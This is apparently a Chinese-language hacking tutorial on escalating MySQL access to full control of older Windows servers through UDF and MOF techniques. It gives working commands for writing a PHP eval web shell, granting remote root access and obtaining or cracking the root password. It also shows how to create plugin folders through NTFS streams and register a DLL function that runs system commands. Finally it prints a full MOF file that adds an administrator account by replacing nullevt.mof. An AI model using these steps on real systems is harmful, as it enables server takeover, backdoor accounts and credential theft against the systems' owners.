1.udf提权

UDF提权知识点:

在利用mysql提权之前首先要回顾一下mysql的常用命令:

查路径:select @@basedir as basePath from dual

查用户:select * from mysql.user

注册函数:CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'

查版本:select version();

导出:select load_file(0x633A5C5C626F6F742E696E69) FROM user into outfile 'D://a.txt'

写文件:select '<?php eval($_POST[cmd]);?>' into outfile 'F://a.php';

开外连:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

读文件:select load_file('c:\boot.ini')

移动文件:select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

查找root密码

利用mysql提权的三种方式均需要获取mysql数据库最高权限root的帐号密码。所以我们先讨论下如何获取mysql的root密码:

1.翻配置文件。关键字:config conn data sql inc database等

2.下载数据文件并破解密文。

root密码密文存放在:mysql数据库存储目录/mysq/user.myd中,低权限下可以用以下命令读取,或者直接使用暗月的“MYSQL低权限读取ROOT密码工具”,然后使用cmd5解密即可。

3.暴力破解。

什么是udf

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,就像使用本地函数如 user() 一样。

如何使用udf

假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把‘udf.dll’中的自定义函数引入进来。

查看存在的udf

SELECT * FROM mysql.func;

删除udf

DROP FUNCTION metaphon;

应用:

假设我们已经上传了web脚本,,已经知道了数据库用户密码,并且具有执行权限,但是权限很低,此时可以上传对应的脚本,直接进行提权。

注意:

1.目标系统是Windows(Win2000,XP,Win2003);2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。

1.将udf提权专用文件,上传到该服务器,进行连接,假设我们之前已经获得数据的信息,连接成功.

2. 我们执行SHOW VARIABLES LIKE '%plugins%'; 查看是否有plugins目录,

可以看到并没有plugins目录

这里我们可以手工创建plugin目录或使用NTFS流(随缘,很容易失败)创建

select @@basedir; //查找到mysql的目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录

创建完plugin目录,进行导出。

可以执行他的添加管理员命令

发现创建成功

下面我们来整理一下思路:

1.将udf文件放到指定位置(mysql>5.1要放在plugin目录夹下,如果没有,可以创建)

2.从udf文件中引入自定义函数

3.执行自定义函数

参考文章: https://www.cnblogs.com/litlife/p/9030673.html

2.mof提权

什么是mof?

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

mof提权思路:

将mof上传至任意可读可写目录下

然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。

替换的sql语句:select load_file('mof文件所在路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mof文件代码如下所示 :

其中第"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; ,可以自定义。

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 


如果你停止 就是低谷 如果你还在继续 就是上坡